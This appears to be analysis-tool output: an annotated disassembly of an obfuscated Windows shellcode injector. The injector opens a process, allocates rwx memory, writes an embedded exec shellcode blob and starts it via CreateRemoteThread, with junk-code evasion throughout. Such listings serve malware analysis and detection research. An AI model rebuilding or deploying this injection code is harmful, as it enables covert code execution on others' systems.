Function at 0x1400036ec
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push rbp
push rbx
sub rsp, 0x128
lea rbp, [rsp + 0x80]
mov dword [rbp + 0xc0], ecx
mov qword [rbp + 0xc8], rdx
call dbg.__main
mov rax, qword [rbp + 0xc8]
add rax, 8
mov rax, qword [rax]
mov rcx, rax
call sym.atoi
mov dword [rbp + 0x9c], eax
movabs rax, 0x896000000082e8fc
movabs rdx, 0x8b30508b64c031e5
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x28728b14528b0c52
movabs rdx, 0x3cacff31264ab70f
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0xdcfc1202c027c61
movabs rdx, 0x528b5752f2e2c701
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x78114c8b3c4a8b10
movabs rdx, 0x20598b51d10148e3
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x493ae318498bd301
movabs rdx, 0xacff31d6018b348b
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0x75e038c7010dcfc1
movabs rdx, 0x75247d3bf87d03f6
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x66d30124588b58e4
movabs rdx, 0xd3011c588b4b0c8b
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x244489d0018b048b
movabs rdx, 0xff515a59615b5b24
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x8deb128b5a5f5fe0
movabs rdx, 0xb2858d016a5d
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0xff876f8b31685000
movabs rdx, 0xa6680a2a1de0bbd5
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0x7c063cd5ff9dbd95
movabs rdx, 0x47bb0575e0fb800a
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xd5ff53006a6f7213
movabs rdx, 0x6578652e636c6163
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
mov word [rbp + 0x80], 0
mov ecx, dword [rbp + 0x9c]
movzx eax, byte [0x14000b056]
movsx edx, al
movzx eax, byte [0x14000b059]
movsx eax, al
add eax, edx
mov edx, eax
movzx eax, byte [0x14000f030]
movsx eax, al
imul eax, eax, 0x2d
add edx, eax
movzx eax, byte [0x14000b05c]
movsx eax, al
sub edx, eax
mov eax, edx
mov r8d, ecx
mov edx, eax
mov ecx, 0x1fffff
mov rax, qword [sym.imp.KERNEL32.dll_OpenProcess]
call rax
mov qword [rbp + 0x90], rax
movzx eax, byte [0x14000f030]
test al, al
js 0x14000393a
call sym.condition_True
cmp eax, 0x1f8
ja 0x14000393a
cmp qword [rbp + 0x90], 0
sete al
movzx eax, al
mov edx, eax
mov ecx, 0x9b096
call sym.condition_Proxy
test eax, eax
je 0x14000393a
movzx eax, byte [0x14000f030]
mov ecx, 0x356
call sym.int_Proxy
cmp eax, 0x234de94
ja 0x14000393a
lea rax, str.___Error_while_open_the_process_n
mov rcx, rax
call sym.puts
jmp 0x140003bd6
movzx eax, byte [0x14000f030]
test al, al
js 0x140003997
call sym.condition_True
cmp eax, 0x1cc
ja 0x140003997
movzx eax, byte [0x14000f030]
cmp al, 0x28
seta al
movzx eax, al
mov edx, eax
mov ecx, 0xbfae6
call sym.condition_Proxy
test eax, eax
je 0x140003997
movzx eax, byte [0x14000f030]
mov ecx, 0x43
call sym.int_Proxy
cmp eax, 0x44d670b
ja 0x140003997
mov ecx, 0x30f
call sym.junkFunc
jmp 0x140003bd6
movzx eax, byte [0x14000f030]
cmp al, 0x5d
ja 0x1400039f4
call sym.condition_True
cmp eax, 0x14c
ja 0x1400039f4
mov edx, 0
mov ecx, 0xdcf77
call sym.condition_Proxy
test eax, eax
je 0x1400039f4
movzx eax, byte [0x14000f030]
mov ecx, 0x90
call sym.int_Proxy
cmp eax, 0x580170c
ja 0x1400039f4
movzx eax, byte [0x14000b056]
movsx eax, al
sub eax, 0x25eb
mov ecx, eax
call sym.int_Proxy
jmp 0x140003bd6
movzx eax, byte [0x14000f030]
test al, al
js 0x140003a79
call sym.condition_True
cmp eax, 0x281
ja 0x140003a79
movzx eax, byte [0x14000b056]
movsx edx, al
movzx eax, byte [0x14000b059]
movsx eax, al
add eax, edx
mov edx, eax
movzx eax, byte [0x14000f030]
movsx eax, al
imul eax, eax, 0x345
add edx, eax
movzx eax, byte [0x14000b05c]
movsx eax, al
sub edx, eax
imul eax, edx, 0x32e
mov edx, eax
mov ecx, 0xf1381
call sym.condition_Proxy
test eax, eax
je 0x140003a79
movzx eax, byte [0x14000f030]
mov ecx, 0x349
call sym.int_Proxy
cmp eax, 0x70c6ed
ja 0x140003a79
xor eax, eax
je 0x140003a74
add cl, ch
pop rbp
add dword [rax], eax
add byte [rdi], cl
mov dh, 5
mov al, 0xb5
add byte [rax], al
jmp 0x140003bd6
movzx eax, byte [0x14000f030]
test al, al
js 0x140003bc7
call sym.condition_True
cmp eax, 0x324
ja 0x140003bc7
movzx eax, byte [0x14000b056]
movsx edx, al
movzx eax, byte [0x14000b059]
movsx eax, al
add eax, edx
mov edx, eax
movzx eax, byte [0x14000f030]
movsx eax, al
imul eax, eax, 0x22c
add edx, eax
movzx eax, byte [0x14000b05c]
movsx eax, al
mov ebx, edx
sub ebx, eax
mov ecx, 0x215
call sym.int_Proxy
test eax, eax
je 0x140003ae5
mov eax, 0x4cff19c
jmp 0x140003aea
mov eax, 0x2657b3d
imul eax, ebx
mov edx, eax
mov ecx, 0x841a4
call sym.condition_Proxy
test eax, eax
je 0x140003bc7
movzx eax, byte [0x14000f030]
mov ecx, 0x113
call sym.int_Proxy
cmp eax, 0x4e27c2f
ja 0x140003bc7
mov ecx, 0x3c8
call sym.int_Proxy
movzx eax, byte [0x14000f030]
test al, al
js 0x140003b6e
call sym.condition_True
cmp eax, 0x336
ja 0x140003b6e
lea rax, [sym.junkFunc]
mov edx, eax
mov ecx, 0x2e9db
call sym.condition_Proxy
test eax, eax
je 0x140003b6e
movzx eax, byte [0x14000f030]
mov ecx, 0x3e3
call sym.int_Proxy
cmp eax, 0x28a03e7
ja 0x140003b6e
nop
nop
nop
movzx eax, byte [0x14000f030]
test al, al
js 0x140003bd6
movzx edx, byte [0x14000b05b]
movzx eax, byte [0x14000b056]
cmp dl, al
jle 0x140003bd6
call sym.condition_True
test eax, eax
je 0x140003bd6
movzx eax, byte [0x14000f030]
movzx eax, byte [0x14000f030]
movsx eax, al
imul eax, eax, 0x31
mov edx, eax
mov ecx, 0x15
call sym.condition_Proxy
test eax, eax
je 0x140003bd6
movzx eax, byte [0x14000b058]
test al, al
jne 0x140003b6e
jmp 0x140003bd6
lea rax, str.___Process_Opened_sucessfully_n
mov rcx, rax
call sym.puts
movzx eax, byte [0x14000b054]
movsx rdx, al
movzx eax, byte [0x14000b055]
movsx rax, al
imul rdx, rax
movzx eax, byte [0x14000b057]
movsx rax, al
imul rax, rdx
imul rax, rax, 0xc2
movzx edx, byte [0x14000b05b]
movsx rbx, dl
mov edx, 0
div rbx
mov rcx, rax
movzx eax, byte [0x14000b055]
movsx rdx, al
movzx eax, byte [0x14000b057]
movsx rax, al
imul rax, rdx
imul rax, rax, 0xc2
movzx edx, byte [0x14000b05b]
movsx rbx, dl
mov edx, 0
div rbx
lea rdx, [rcx + rax]
movzx eax, byte [0x14000f030]
movsx eax, al
imul eax, eax, 0x379
mov eax, eax
add rax, rdx
shr rax, 1
mov rdx, rax
mov rax, qword [rbp + 0x90]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov dword [rbp + 0x8c], eax
movzx eax, byte [0x14000f030]
cmp al, 0x54
ja 0x140003cfe
call sym.condition_True
cmp eax, 0x2bf
ja 0x140003cfe
cmp dword [rbp + 0x8c], 0
sete al
movzx eax, al
mov edx, eax
mov ecx, 0xbf5e8
call sym.condition_Proxy
test eax, eax
je 0x140003cfe
movzx eax, byte [0x14000f030]
mov ecx, 0x2f3
call sym.int_Proxy
cmp eax, 0x32b4c42
ja 0x140003cfe
lea rax, str.___Error_while_get_the_base_address_to_write_n
mov rcx, rax
call sym.puts
jmp 0x14000404f
movzx eax, byte [0x14000f030]
test al, al
js 0x140003d59
call sym.condition_True
cmp eax, 0x185
ja 0x140003d59
movzx eax, byte [0x14000f030]
shr al, 7
movzx eax, al
mov edx, eax
mov ecx, 0x36800
call sym.condition_Proxy
test eax, eax
je 0x140003d59
movzx eax, byte [0x14000f030]
mov ecx, 0x230
call sym.int_Proxy
cmp eax, 0x4fbd569
ja 0x140003d59
mov ecx, 0x37f
call sym.junkFunc
jmp 0x14000404f
movzx eax, byte [0x14000f030]
test al, al
js 0x140003db6
call sym.condition_True
cmp eax, 0x2ba
ja 0x140003db6
mov edx, 0
mov ecx, 0x53c91
call sym.condition_Proxy
test eax, eax
je 0x140003db6
movzx eax, byte [0x14000f030]
mov ecx, 0x27d
call sym.int_Proxy
cmp eax, 0x5e26262
ja 0x140003db6
movzx eax, byte [0x14000b056]
movsx eax, al
sub eax, 0x17bb
mov ecx, eax
call sym.int_Proxy
jmp 0x14000404f
movzx eax, byte [0x14000f030]
test al, al
js 0x140003e3b
call sym.condition_True
cmp eax, 0x23a
ja 0x140003e3b
movzx eax, byte [0x14000b056]
movsx edx, al
movzx eax, byte [0x14000b059]
movsx eax, al
add eax, edx
mov edx, eax
movzx eax, byte [0x14000f030]
movsx eax, al
imul eax, eax, 0x149
add edx, eax
movzx eax, byte [0x14000b05c]
movsx eax, al
sub edx, eax
imul eax, edx, 0x132
mov edx, eax
mov ecx, 0x6809b
call sym.condition_Proxy
test eax, eax
je 0x140003e3b
movzx eax, byte [0x14000f030]
mov ecx, 0x14d
call sym.int_Proxy
cmp eax, 0x11f354b
ja 0x140003e3b
xor eax, eax
je 0x140003e36
add cl, ch
adc al, 2
add byte [rax], al
jmp 0x14000404f
movzx eax, byte [0x14000f030]
test al, al
js 0x140003fa3
call sym.condition_True
cmp eax, 0xab
ja 0x140003fa3
movzx eax, byte [0x14000b056]
movsx edx, al
movzx eax, byte [0x14000b059]
movsx eax, al
add eax, edx
mov ecx, eax
movzx eax, byte [0x14000f030]
movsx edx, al
mov eax, edx
add eax, eax
add eax, edx
shl eax, 4
lea edx, [rcx + rax]
movzx eax, byte [0x14000b05c]
movsx eax, al
mov ebx, edx
sub ebx, eax
mov ecx, 0x19
call sym.int_Proxy
test eax, eax
je 0x140003eab
mov eax, 0x57e7764
jmp 0x140003eb0
mov eax, 0x2c73630
imul eax, ebx
mov edx, eax
mov ecx, 0xef0ff
call sym.condition_Proxy
test eax, eax
je 0x140003fa3
movzx eax, byte [0x14000f030]
mov ecx, 0x300
call sym.int_Proxy
cmp eax, 0x590ea8d
ja 0x140003fa3
mov ecx, 0x4f
call sym.int_Proxy
movzx eax, byte [0x14000f030]
test al, al
js 0x140003f34
call sym.condition_True
cmp eax, 0xbd
ja 0x140003f34
lea rax, [sym.junkFunc]
mov edx, eax
mov ecx, 0x99936
call sym.condition_Proxy
test eax, eax
je 0x140003f34
movzx eax, byte [0x14000f030]
mov ecx, 0x6a
call sym.int_Proxy
cmp eax, 0x3387245
ja 0x140003f34
nop
nop
nop
movzx eax, byte [0x14000f030]
test al, al
js 0x14000404f
movzx edx, byte [0x14000b05b]
movzx eax, byte [0x14000b056]
cmp dl, al
jle 0x14000404f
call sym.condition_True
test eax, eax
je 0x14000404f
movzx eax, byte [0x14000f030]
movzx eax, byte [0x14000f030]
movsx eax, al
imul eax, eax, 0x8b
mov edx, eax
mov ecx, 0x202
call sym.condition_Proxy
test eax, eax
je 0x14000404f
movzx eax, byte [0x14000b058]
test al, al
jne 0x140003f34
jmp 0x14000404f
xor eax, eax
je 0x140003fa8
add byte [rdi], cl
mov dh, 5
xor dword [rax - 0x17400000], 0xc0b60f07
movzx eax, byte [0x14000f030]
shr al, 7
movzx eax, al
mov ecx, eax
call sym.junkFunc
mov eax, dword [rbp + 0x8c]
mov r8d, eax
lea rax, str.__Got_the_address_to_write_0x_x_n
mov rdx, rax
mov ecx, 0x48
call sym.printf_custom
movzx eax, byte [0x14000f030]
test al, al
js 0x14000404f
movzx edx, byte [0x14000b05b]
movzx eax, byte [0x14000b056]
cmp dl, al
jle 0x14000404f
call sym.condition_True
test eax, eax
je 0x14000404f
movzx eax, byte [0x14000f030]
movzx eax, byte [0x14000f030]
movsx rdx, al
movzx eax, byte [0x14000b055]
movsx rax, al
imul rax, rax, 0x29779b77
add rax, 0x52
cmp rdx, rax
setg al
movzx eax, al
mov edx, eax
mov ecx, 0x7a
call sym.condition_Proxy
test eax, eax
je 0x14000404f
movzx eax, byte [0x14000b058]
test al, al
jne 0x140003fa3
movzx eax, byte [0x14000f030]
test al, al
js 0x1400041c8
call sym.condition_True
cmp eax, 0x3d4
ja 0x1400041c8
movzx eax, byte [0x14000b054]
movsx rdx, al
movzx eax, byte [0x14000b055]
movsx rax, al
imul rdx, rax
movzx eax, byte [0x14000b057]
movsx rax, al
imul rax, rdx
imul rax, rax, 0xc2
movzx edx, byte [0x14000b05b]
movsx rbx, dl
mov edx, 0
div rbx
mov rcx, rax
movzx eax, byte [0x14000b055]
movsx rdx, al
movzx eax, byte [0x14000b057]
movsx rax, al
imul rax, rdx
imul rax, rax, 0xc2
movzx edx, byte [0x14000b05b]
movsx rbx, dl
mov edx, 0
div rbx
lea rdx, [rcx + rax]
movzx eax, byte [0x14000f030]
movsx eax, al
imul eax, eax, 0x3a4
mov eax, eax
add rax, rdx
shr rax, 1
mov rcx, rax
mov eax, dword [rbp + 0x8c]
mov r10, rax
lea rdx, [rbp - 0x40]
mov rax, qword [rbp + 0x90]
mov qword [rsp + 0x20], 0
mov r9, rcx
mov r8, rdx
mov rdx, r10
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov edx, eax
mov ecx, 0x92568
call sym.condition_Proxy
test eax, eax
je 0x1400041c8
movzx eax, byte [0x14000f030]
mov ecx, 0x3bf
call sym.int_Proxy
cmp eax, 0x53ebe35
ja 0x1400041c8
lea rax, str.__Injected_n
mov rcx, rax
call sym.puts
lea rax, str.__Running_the_shellcode_as_new_thread___n
mov rcx, rax
call sym.puts
mov eax, dword [rbp + 0x8c]
mov rdx, rax
mov rax, qword [rbp + 0x90]
mov qword [rsp + 0x30], 0x50002
mov dword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov r9, rdx
mov r8d, 0x64
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call rax
jmp 0x140004462
movzx eax, byte [0x14000f030]
test al, al
js 0x140004223
call sym.condition_True
cmp eax, 0x269
ja 0x140004223
movzx eax, byte [0x14000f030]
shr al, 7
movzx eax, al
mov edx, eax
mov ecx, 0xd2af8
call sym.condition_Proxy
test eax, eax
je 0x140004223
movzx eax, byte [0x14000f030]
mov ecx, 0x201
call sym.int_Proxy
cmp eax, 0xab88e0
ja 0x140004223
mov ecx, 0x350
call sym.junkFunc
jmp 0x140004462
movzx eax, byte [0x14000f030]
test al, al
js 0x140004280
call sym.condition_True
cmp eax, 0x39e
ja 0x140004280
mov edx, 0
mov ecx, 0xe6f02
call sym.condition_Proxy
test eax, eax
je 0x140004280
movzx eax, byte [0x14000f030]
mov ecx, 0x24e
call sym.int_Proxy
cmp eax, 0x19215d9
ja 0x140004280
movzx eax, byte [0x14000b056]
movsx eax, al
sub eax, 0x7ab
mov ecx, eax
call sym.int_Proxy
jmp 0x140004462
movzx eax, byte [0x14000f030]
test al, al
js 0x140004305
call sym.condition_True
cmp eax, 0x31e
ja 0x140004305
movzx eax, byte [0x14000b056]
movsx edx, al
movzx eax, byte [0x14000b059]
movsx eax, al
add eax, edx
mov edx, eax
movzx eax, byte [0x14000f030]
movsx eax, al
imul eax, eax, 0x386
add edx, eax
movzx eax, byte [0x14000b05c]
movsx eax, al
sub edx, eax
imul eax, edx, 0x103
mov edx, eax
mov ecx, 0x10152
call sym.condition_Proxy
test eax, eax
je 0x140004305
movzx eax, byte [0x14000f030]
mov ecx, 0x11e
call sym.int_Proxy
cmp eax, 0x2c4c5da
ja 0x140004305
xor eax, eax
je 0x140004300
add cl, ch
pop rbp
add dword [rax], eax
add byte [rdi], cl
mov dh, 5
and al, 0xad
add byte [rax], al
jmp 0x140004462
movzx eax, byte [0x14000f030]
test al, al
js 0x140004453
call sym.condition_True
cmp eax, 0x3c1
ja 0x140004453
movzx eax, byte [0x14000b056]
movsx edx, al
movzx eax, byte [0x14000b059]
movsx eax, al
add eax, edx
mov edx, eax
movzx eax, byte [0x14000f030]
movsx eax, al
imul eax, eax, 0x26d
add edx, eax
movzx eax, byte [0x14000b05c]
movsx eax, al
mov ebx, edx
sub ebx, eax
mov ecx, 0x3d3
call sym.int_Proxy
test eax, eax
je 0x140004371
mov eax, 0x12e51e1
jmp 0x140004376
mov eax, 0x46cf1ac
imul eax, ebx
mov edx, eax
mov ecx, 0x971b6
call sym.condition_Proxy
test eax, eax
je 0x140004453
movzx eax, byte [0x14000f030]
mov ecx, 0x154
call sym.int_Proxy
cmp eax, 0x1409e04
ja 0x140004453
mov ecx, 0x20
call sym.int_Proxy
movzx eax, byte [0x14000f030]
test al, al
js 0x1400043fa
call sym.condition_True
cmp eax, 0x3d3
ja 0x1400043fa
lea rax, [sym.junkFunc]
mov edx, eax
mov ecx, 0x419ed
call sym.condition_Proxy
test eax, eax
je 0x1400043fa
movzx eax, byte [0x14000f030]
mov ecx, 0x3b
call sym.int_Proxy
cmp eax, 0x4de02d4
ja 0x1400043fa
nop
nop
nop
movzx eax, byte [0x14000f030]
test al, al
js 0x140004462
movzx edx, byte [0x14000b05b]
movzx eax, byte [0x14000b056]
cmp dl, al
jle 0x140004462
call sym.condition_True
test eax, eax
je 0x140004462
movzx eax, byte [0x14000f030]
movzx eax, byte [0x14000f030]
movsx eax, al
shl eax, 5
mov edx, eax
mov ecx, 0x56
call sym.condition_Proxy
test eax, eax
je 0x140004462
movzx eax, byte [0x14000b058]
test al, al
jne 0x1400043fa
jmp 0x140004462
lea rax, str.Not_Injected_n
mov rcx, rax
call sym.puts
mov eax, 0
add rsp, 0x128
pop rbx
pop rbp
ret